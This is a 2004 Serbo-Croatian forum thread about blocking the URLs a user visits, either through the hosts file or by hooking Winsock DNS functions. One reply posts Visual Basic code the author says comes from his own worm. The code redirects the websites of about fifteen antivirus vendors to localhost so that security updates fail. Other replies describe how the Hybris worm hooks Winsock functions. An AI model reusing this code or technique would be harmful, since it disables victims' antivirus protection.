Novo

Forum kao aplikacija na telefonu

Dodajte forum na početni ekran i koristite ga kao aplikaciju, sa menijem na dnu ekrana.

  • 10 odgovora
  • 3.568 pregleda

Najnovija ↓

Kako imati uvid u linkove koje korisnik otvara ? 11.12.2004. u 16:11 · pre 266 meseci #1
Postoji li nacin da moj program ima uvid u sve linkove koje korisnik posecuje, nezavisno od browser-a (IE, Opera, FF, Netscape itd..) ?

Znaci, kad korisnik proba da otvori recimo http://www.google.com, program treba to da detektuje i da blokira ucitavanje tog linka. Pozeljno bi bilo i da ne dozvoli otvaranje linka preko ukucavanja DNS, IP ili koje-vec adrese... Kako ?

poz
Re: Kako imati uvid u linkove koje korisnik otvara ? 11.12.2004. u 22:55 · pre 266 meseci #3
Najjednostavnije ti ga je blokirati preko hosts fajla kao sto Vrky rece....

Neki crvi tipa hybris hookiraju winsock (WS2_32.DLL) fje za DNS-a i blokiraju one od AV sajtova tako da AV ne moze napraviti update :)) hosts fajl je puno lakse za iskodirati iz skriptnih jezika tipa VBS, ali se zato i relativno lako detektira i neki anti-alatichi ga gledaju... Ako zelis hookirati winsock pogledaj malo gethosbyname() i getaddrinfo(), ne bi trebalo biti puno posla :)
Re: Kako imati uvid u linkove koje korisnik otvara ? 12.12.2004. u 11:21 · pre 266 meseci #4
Ja sam radio isto preko Hosts fajla. Vrlo je lagano za napravit a efikasno. Evo ovako je to u VB izgledalo (ovo je izvađeno iz mog crva):

Code:

Win = Environ("WinDir") & "\"
Open Win & "\system32\Drivers\Etc\Hosts" For Append As #1
Print #1, "www.symantec.com    127.0.0.1"
Print #1, "www.sophos.com    127.0.0.1"
Print #1, "www.avast.com    127.0.0.1"
Print #1, "www.mcafee.com    127.0.0.1"
Print #1, "www.f-prot.com    127.0.0.1"
Print #1, "www.f-secure.com    127.0.0.1"
Print #1, "www.avp.com    127.0.0.1"
Print #1, "www.kaspersky.com    127.0.0.1"
Print #1, "www.trendmicro.com    127.0.0.1"
Print #1, "www.bitdefender.com   127.0.0.1"
Print #1, "www.my-etrust.com   127.0.0.1"
Print #1, "www.eset.com    127.0.0.1"
Print #1, "www.norman.com    127.0.0.1"
Print #1, "www.grisoft.com    127.0.0.1"
Print #1, "www.pandasecurity.com   127.0.0.1"
Close #1
Re: Kako imati uvid u linkove koje korisnik otvara ? 12.12.2004. u 18:56 · pre 266 meseci #7
Redirektovanje linkova preko hosts fajla zaboravimo... (funkcionise samo u IE-u, IP adrese se ne blokiraju itd...)

Jbga, izgleda da 29a sajt trenutno ne radi, ne mogu da nadjem source od Hybris-a, cisto da vidim kako je uradjen hook fja i cela ta stvar...
Jos jedno pitanjce, kad sa otvorim ws2_32.dll, vidim getaddrinfo() i GetAddrInfoW() fje... Pretpostavljam da rade istu stvar, ali koja fja je 'niza' ?

poz
Re: Kako imati uvid u linkove koje korisnik otvara ? 12.12.2004. u 19:16 · pre 266 meseci #8
Citat:
Marko Paunovic: 
Jos jedno pitanjce, kad sa otvorim ws2_32.dll, vidim getaddrinfo() i GetAddrInfoW() fje... Pretpostavljam da rade istu stvar, ali koja fja je 'niza' ?

poz


obe rade istu stvar na isti nacin, ali ova sa W sve svoje STRING parametre prima u unicode formatu, na NT sistemima ova obicna (ansi) ustvari radi tako sto sve svoje parametre pretvori iz ansi u unicode i poziva ovu unicode verziju
Potpis

So Long, and Thanks for All the Fish


Re: Kako imati uvid u linkove koje korisnik otvara ? 12.12.2004. u 21:28 · pre 266 meseci #10
Citat:
Marko Paunovic: Znaci GetAddrInfoW() je niza ?


Precisely :)

Vjerojatno postoji i niza, negdje u TDI/NDIS sloju, ali sumnjam da ti se da pisati kernel-mode hook za tcpip.sys :)
Re: Kako imati uvid u linkove koje korisnik otvara ? 12.12.2004. u 21:55 · pre 266 meseci #11
pa NT ima pet slojeva, i svi oni mogu da se hook-uju, ideja i jeste da on izabere najvislji sloj koji njemu odgovara, posto sa svakim nizim slojem sve teze raditi

mada mislim (moguce i da gresim) da je moguce to odraditi i na jos "visljem" sloju, u ruteru/firewall-u koji "korisnik" koristi za pristup internetu (ukoliko je u pitanju firmin link koji treba zastititi od neovlascene primene) treba ubaciti filter za TCP/IP sto je verovatno mnogo lakse, i u slucaju greske nece biti nestabilan/oboren ceo racunar korisnika, nego samo njegov pristup internet-u


Potpis

So Long, and Thanks for All the Fish


Prijavite se da biste odgovorili u ovoj temi.PrijavaRegistracija

Premeštanje teme